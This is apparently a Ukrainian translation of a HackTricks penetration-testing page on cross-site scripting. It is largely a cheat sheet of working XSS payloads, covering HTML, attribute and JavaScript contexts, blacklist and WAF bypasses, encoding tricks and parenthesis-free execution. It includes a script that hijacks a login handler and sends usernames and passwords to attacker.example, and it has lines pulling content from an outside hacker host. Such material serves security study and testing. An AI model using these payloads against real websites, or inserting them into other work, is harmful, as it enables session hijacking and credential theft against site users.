90 KiB
XSS (Cross Site Scripting)
{{#include ../../banners/hacktricks-training.md}}
Методологія
- Перевірте, чи будь-яке значення, яке ви контролюєте (parameters, path, headers?, cookies?) відображається в HTML або використовується кодом JS.
- З'ясуйте контекст, де воно відображається/використовується.
- Якщо відображено
- Перевірте які символи можна використовувати і залежно від цього підготуйте payload:
- У raw HTML:
- Чи можете ви створити нові HTML теги?
- Чи можете ви використовувати події або атрибути, що підтримують протокол
javascript:
? - Чи можете обійти захист?
- Чи інтерпретується HTML-контент якимось client side JS engine (AngularJS, VueJS, Mavo...), тоді ви можете використати Client Side Template Injection.
- Якщо ви не можете створити HTML-теги, які виконують JS-код, чи можна скористатися Dangling Markup - HTML scriptless injection?
- Всередині HTML тега:
- Чи можете ви вийти в контекст raw HTML?
- Чи можете створити нові події/атрибути для виконання JS-коду?
- Чи підтримує атрибут, в якому ви «застрягли», виконання JS?
- Чи можете обійти захист?
- Всередині JavaScript коду:
- Чи можете ви вийти з тега
<script>
? - Чи можете вийти з рядка і виконати інший JS-код?
- Чи ваші дані потрапляють у template literals
\
``? - Чи можете обійти захист?
- Javascript function, що виконується
- Ви можете вказати ім'я функції для виконання. наприклад:
?callback=alert(1)
- Якщо використовується:
- Ви можете експлуатувати DOM XSS, зверніть увагу на те, як контролюється ваш input і чи ваш контрольований input використовується якимось sink.
When working on a complex XSS you might find interesting to know about:
{{#ref}} debugging-client-side-js.md {{#endref}}
Reflected values
Щоб успішно експлуатувати XSS, перш за все потрібно знайти значення, яким ви керуєте і яке відображається на веб-сторінці.
- Intermediately reflected: Якщо ви виявили, що значення параметра або навіть path відображається на веб-сторінці, ви можете експлуатувати Reflected XSS.
- Stored and reflected: Якщо значення, яким ви керуєте, зберігається на сервері і відображається щоразу при доступі до сторінки, ви можете експлуатувати Stored XSS.
- Accessed via JS: Якщо ви виявите, що значення, яким ви керуєте, доступне через JS, ви можете експлуатувати DOM XSS.
Контексти
Під час спроби експлуатації XSS перше, що потрібно знати — де відображається ваш input. Залежно від контексту, ви зможете виконати довільний JS-код різними способами.
Raw HTML
Якщо ваш input відображається у raw HTML сторінці, вам потрібно зловживати якимось HTML tag, щоб виконати JS-код: <img , <iframe , <svg , <script
... це лише деякі з багатьох можливих HTML тегів, які ви можете використати.
Також майте на увазі Client Side Template Injection.
Inside HTML tags attribute
Якщо ваш input відображається всередині значення атрибута тега, ви можете спробувати:
- Втекти з атрибута та з тега (тоді ви опинитесь у raw HTML) і створити новий HTML тег для зловживання:
"><img [...]
- Якщо ви можете втекти з атрибута але не з тега (
>
закодовано або видалено), залежно від тега ви можете створити event, який виконає JS-код:" autofocus onfocus=alert(1) x="
- Якщо ви не можете втекти з атрибута (
"
закодовано або видалено), тоді в залежності від якого атрибута ваше значення відображається — чи ви контролюєте весь його вміст або лише частину — ви зможете ним зловживати. Наприклад, якщо ви контролюєте подію типуonclick=
ви зможете змусити її виконувати довільний код при кліку. Інший цікавий приклад — атрибутhref
, де ви можете використати протоколjavascript:
щоб виконати довільний код:href="javascript:alert(1)"
- Якщо ваш input відображається всередині "unexpoitable tags" ви можете спробувати трюк з
accesskey
щоб зловживати вразливістю (вам знадобиться певний соціальний інженеринг для експлуатації):" accesskey="x" onclick="alert(1)" x="
Дивний приклад Angular, що виконує XSS, якщо ви контролюєте ім'я класу:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
У JavaScript-коді
У цьому випадку ваш ввід відображається між <script> [...] </script>
тегами HTML-сторінки, всередині файлу .js
або в атрибуті з використанням протоколу javascript:
:
- Якщо відображається між
<script> [...] </script>
тегами, навіть якщо ваш ввід знаходиться в будь-яких лапках, ви можете спробувати ввести</script>
і вийти з цього контексту. Це працює тому, що браузер спочатку розпарсить HTML-теги, а потім вміст, тому він не помітить, що ваш інжектований</script>
тег знаходиться всередині HTML-коду. - Якщо відображається всередині JS-рядка і попередній трюк не працює, вам потрібно вийти з рядка, виконати ваш код і відновити JS-код (якщо буде помилка, він не виконається):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- Якщо відображається всередині template literals, ви можете вбудувати JS-вирази використовуючи синтаксис
${ ... }
:var greetings = `Hello, ${alert(1)}`
- Unicode encode працює для написання valid javascript code:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting позначає можливість оголосити функції, змінні або класи після їх використання, щоб можна було зловживати сценаріями, де XSS використовує неоголошені змінні або функції.
Перегляньте наступну сторінку для детальнішої інформації:
{{#ref}} js-hoisting.md {{#endref}}
Javascript Function
Декілька веб-сторінок мають endpoints, які приймають як параметр ім'я функції для виконання. Поширений приклад у реальному житті: ?callback=callbackFunc
.
Добрий спосіб з'ясувати, чи те, що передається прямо користувачем, намагається виконуватися — це змінити значення параметра (наприклад на 'Vulnerable') і подивитися в консолі на помилки типу:
Якщо воно вразливе, ви можете бути в змозі запустити alert, просто відправивши значення: ?callback=alert(1)
. Однак дуже часто такі endpoints будуть валідовувати вміст, дозволяючи лише букви, цифри, крапки та підкреслення ([\w\._]
).
Однак навіть з цим обмеженням все ж можна виконати деякі дії. Це тому, що можна використовувати ці допустимі символи, щоб отримати доступ до будь-якого елементу в DOM:
Деякі корисні функції для цього:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Ви також можете спробувати безпосередньо trigger Javascript functions: obj.sales.delOrders
.
Однак зазвичай endpoints, що виконують вказану функцію, не містять цікавого DOM; інші сторінки в тому ж origin матимуть цікавіший DOM для виконання додаткових дій.
Тому для зловживання цією вразливістю в іншому DOM було розроблено експлуатацію Same Origin Method Execution (SOME):
{{#ref}} some-same-origin-method-execution.md {{#endref}}
DOM
Існує JS code, який неналежним чином використовує деякі дані, контрольовані зловмисником, наприклад location.href
. Зловмисник може зловживати цим для виконання довільного JS-коду.
{{#ref}} dom-xss.md {{#endref}}
Universal XSS
Такі XSS можуть бути знайдені скрізь. Вони залежать не лише від клієнтської експлуатації веб-застосунку, а від будь-якого контексту. Такі випадки довільного виконання JavaScript можуть навіть бути використані для отримання RCE, читання довільних файлів на клієнтах і серверах та іншого.
Деякі приклади:
{{#ref}} server-side-xss-dynamic-pdf.md {{#endref}}
{{#ref}} ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}}
WAF bypass encoding image
Injecting inside raw HTML
Коли ваш ввід відображається inside the HTML page або ви можете вийти з контексту та інжектити HTML-код у цьому контексті, перше, що потрібно зробити — перевірити, чи можна зловживати символом <
, щоб створити нові теги: просто спробуйте reflect цей char і перевірте, чи він HTML encoded, deleted або відображається без змін. Тільки в останньому випадку ви зможете експлуатувати це.
Для таких випадків також майте на увазі Client Side Template Injection.
Примітка: HTML-коментар можна закрити, використавши****-->
****або **--!>
**
У такому випадку, якщо не використовується чорний/білий список, ви можете використовувати такі payloads:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Але якщо використовується black/whitelisting тегів/атрибутів, вам потрібно буде brute-force which tags ви можете створювати.
Коли ви located which tags are allowed, потрібно буде brute-force attributes/events всередині знайдених валідних тегів, щоб побачити, як можна атакувати контекст.
Tags/Events brute-force
Перейдіть на https://portswigger.net/web-security/cross-site-scripting/cheat-sheet і натисніть Copy tags to clipboard. Потім відправте їх усі за допомогою Burp intruder і перевірте, чи якийсь тег не був визначений WAF як шкідливий. Після того, як ви виявите, які теги можна використовувати, ви можете brute force all the events з використанням валідних тегів (на тій же сторінці натисніть Copy events to clipboard і повторіть ту ж процедуру).
Custom tags
Якщо ви не знайшли жодного валідного HTML тегу, можна спробувати create a custom tag і виконати JS код за допомогою атрибуту onfocus
. У XSS-запиті потрібно завершити URL символом #
, щоб сторінка focus on that object і execute код:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Обходи Blacklist
Якщо використовується якась blacklist, ви можете спробувати обійти її за допомогою кількох простих трюків:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
[!NOTE] > Більше tiny XSS для різних середовищ payload можна знайти тут та тут.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
The last one is using 2 unicode characters which expands to 5: telsr
Більше таких символів можна знайти тут.
Щоб перевірити, у які символи вони розкладаються, див. тут.
Click XSS - Clickjacking
Якщо для експлуатації вразливості вам потрібно, щоб користувач натиснув на посилання або форму з попередньо заповненими даними, ви можете спробувати abuse Clickjacking (якщо сторінка вразлива).
Impossible - Dangling Markup
Якщо ви просто думаєте, що неможливо створити HTML тег з атрибутом для виконання JS коду, вам слід перевірити Danglig Markup бо ви можете експлуатувати вразливість без виконання JS коду.
Вставлення всередину HTML тега
Всередині тега/вихід зі значення атрибуту
Якщо ви перебуваєте всередині HTML тега, перше, що варто спробувати — це втекти з тега і скористатися деякими техніками, згаданими в попередньому розділі, щоб виконати JS код.
Якщо ви не можете вийти з тега, ви можете створити нові атрибути всередині тега, щоб спробувати виконати JS код, наприклад, використавши payload на зразок (зверніть увагу, що в цьому прикладі для виходу з атрибуту використовуються подвійні лапки; вони не знадобляться, якщо ваш input відображається безпосередньо всередині тега):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Події стилю
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Всередині атрибуту
Навіть якщо ви не можете вийти з атрибуту ("
кодується або видаляється), залежно від того, в який атрибут відображається ваше значення і чи контролюєте ви все значення або лише частину, ви зможете ним зловживати. For example, якщо ви контролюєте подію типу onclick=
ви зможете змусити її виконати довільний код при натисканні.
Another interesting example is the attribute href
, where you can use the javascript:
protocol to execute arbitrary code: href="javascript:alert(1)"
Обхід всередині події за допомогою HTML encoding/URL encode
Кодовані HTML encoded characters всередині значення атрибутів HTML-тегів декодуються під час виконання. Тому щось на кшталт наступного буде валідним (payload виділено жирним): <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Go Back </a>
Зверніть увагу, що будь-який тип HTML-кодування є валідним:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Зауважте, що URL encode також працюватиме:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Обхід всередині event за допомогою Unicode encode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Спеціальні протоколи в атрибуті
Тут ви можете використовувати протоколи javascript:
або data:
в деяких місцях, щоб виконувати довільний JS code. Деякі вимагатимуть взаємодії користувача, інші — ні.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Місця, куди можна впровадити ці протоколи
Загалом протокол javascript:
може бути використаний у будь-якому тегу, який приймає атрибут href
та в більшості тегів, які приймають атрибут src
(але не <img>
)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Інші трюки обфускації
У цьому випадку HTML-кодування і Unicode-кодування з попереднього розділу також застосовні, оскільки ви перебуваєте всередині атрибута.
<a href="javascript:var a=''-alert(1)-''">
Крім того, є ще один приємний трюк для таких випадків: Навіть якщо ваше введення всередині javascript:...
є URL encoded, воно буде URL decoded перед виконанням. Отже, якщо вам потрібно вийти з рядка, використовуючи одинарну лапку і ви бачите, що воно URL encoded, пам'ятайте, що це не має значення, воно буде інтерпретоване як одинарна лапка під час виконання.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Зауважте, що якщо ви спробуєте використати обидва URLencode + HTMLencode
у будь-якому порядку, щоб закодувати payload, це не спрацює, але ви можете змішувати їх всередині payload.
Використання Hex та Octal encode з javascript:
Ви можете використовувати Hex та Octal encode всередині атрибута src
у iframe
(принаймні), щоб оголосити HTML tags to execute JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Якщо ви можете ін'єктувати будь-який URL у довільний тег <a href=
, який містить атрибути target="_blank" and rel="opener"
, перегляньте наступну сторінку, щоб експлуатувати цю поведінку:
{{#ref}} ../reverse-tab-nabbing.md {{#endref}}
Обхід "on" обробників подій
Найперше перевірте цю сторінку (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) для корисних "on" обробників подій.
Якщо існує якийсь blacklist, що перешкоджає створенню таких обробників подій, ви можете спробувати наступні обхідні методи:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS у "Невразливих тегах" (hidden input, link, canonical, meta)
From here тепер можна зловживати hidden inputs за допомогою:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
А в мета-тегах:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
З here: Ви можете виконати XSS payload всередині прихованого атрибуту, за умови, що зможете переконати victim натиснути комбінацію клавіш. У Firefox на Windows/Linux комбінація клавіш — ALT+SHIFT+X, а на OS X — CTRL+ALT+X. Ви можете задати іншу комбінацію клавіш, використавши іншу клавішу в access key attribute. Ось вектор:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS payload буде виглядати приблизно так: " accesskey="x" onclick="alert(1)" x="
Обходи чорних списків
У цьому розділі вже показано кілька трюків із використанням різного кодування. Поверніться, щоб дізнатися, де ви можете їх використовувати:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1)
- URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Read the Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Read the JavaScript bypass blacklist of the following section.
CSS-Gadgets
Якщо ви знайшли XSS у дуже малій частині сайту, яка вимагає певної взаємодії (наприклад, невелике посилання в footer з onmouseover), можна спробувати змінити простір, який займає цей елемент, щоб максимально підвищити ймовірність спрацьовування посилання.
Наприклад, ви можете додати стилі в елемент, наприклад: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Але якщо WAF фільтрує атрибут style, можна використати CSS Styling Gadgets, тому якщо ви знайдете, наприклад
.test {display:block; color: blue; width: 100%}
and
#someid {top: 0; font-family: Tahoma;}
Тепер ви можете модифікувати наше посилання і привести його до форми
<a href="" id=someid class=test onclick=alert() a="">
Цей трюк взято з https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Впровадження всередині JavaScript-коду
У цьому випадку ваш input буде відображений всередині JS коду у .js
файлі або між <script>...</script>
тегами, або в HTML-подіях, що можуть виконувати JS, або в атрибутах, що приймають протокол javascript:
.
Вихід із <script> тега
Якщо ваш код вставляється всередині <script> [...] var input = 'reflected data' [...] </script>
, ви легко можете вийти, закривши <script>
тег:
</script><img src=1 onerror=alert(document.domain)>
Зверніть увагу, що в цьому прикладі ми навіть не закрили одинарну лапку. Це тому, що аналіз HTML виконується браузером спочатку, що передбачає ідентифікацію елементів сторінки, включно з блоками скриптів. Парсинг JavaScript для розуміння та виконання вбудованих скриптів виконується лише після цього.
Всередині JS-коду
Якщо <>
очищуються, ви все ще можете екранізувати рядок, де ваше введення розміщено, та виконати довільний JS. Важливо виправити синтаксис JS, оскільки якщо будуть помилки, JS-код не буде виконано:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Коли введення користувача потрапляє всередину quoted JavaScript string (наприклад, server-side echo into an inline script), ви можете завершити рядок, вставити код і відновити синтаксис, щоб парсер залишався валідним. Загальна схема:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Приклад шаблону URL, коли вразливий параметр відображається у JS-рядку:
?param=test";<INJECTION>;a="
Це виконує JS зловмисника без необхідності торкатися HTML-контексту (чистий JS-in-JS). Combine with blacklist bypasses below when filters block keywords.
Шаблонні рядки ``
Щоб формувати рядки, окрім одинарних і подвійних лапок JS також підтримує зворотні лапки ``
. Це називається шаблонними літералами, оскільки вони дозволяють вбудовувати вирази JS з використанням синтаксису ${ ... }
.\
Отже, якщо ви помітили, що ваш вхід відображається всередині JS-рядка, що використовує зворотні лапки, ви можете зловживати синтаксисом ${ ... }
, щоб виконати довільний JS-код:
Цим можна зловживати, використовуючи:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Виконання закодованого коду
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Deliverable payloads з eval(atob())
та нюанси області видимості
Щоб зробити URL-адреси коротшими та обійти наївні фільтри за ключовими словами, ви можете base64-encode вашу реальну логіку та виконати її через eval(atob('...'))
. Якщо просте фільтрування за ключовими словами блокує ідентифікатори на кшталт alert
, eval
або atob
, використовуйте Unicode-escaped ідентифікатори, які компілюються ідентично в браузері, але обходять фільтри, що шукають рядки:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Важлива нюанс областей видимості: const
/let
оголошені всередині eval()
мають блочну область видимості і НЕ створюють globals; вони не будуть доступні для наступних скриптів. Використовуйте динамічно інжектований <script>
елемент для визначення глобальних, незмінних hooks коли потрібно (наприклад, щоб перехопити обробник форми):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Посилання: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Виконання JS через Unicode-кодування
alert(1)
alert(1)
alert(1)
Техніки обходу чорних списків у JavaScript
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Спеціальні послідовності екранування
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Підстановки пробілів всередині JS-коду
<TAB>
/**/
JavaScript коментарі (з JavaScript Comments трюку)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript нові рядки (з JavaScript new line трюку)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript пробіли
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript всередині коментаря
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript без дужок
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Виклик довільної функції (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
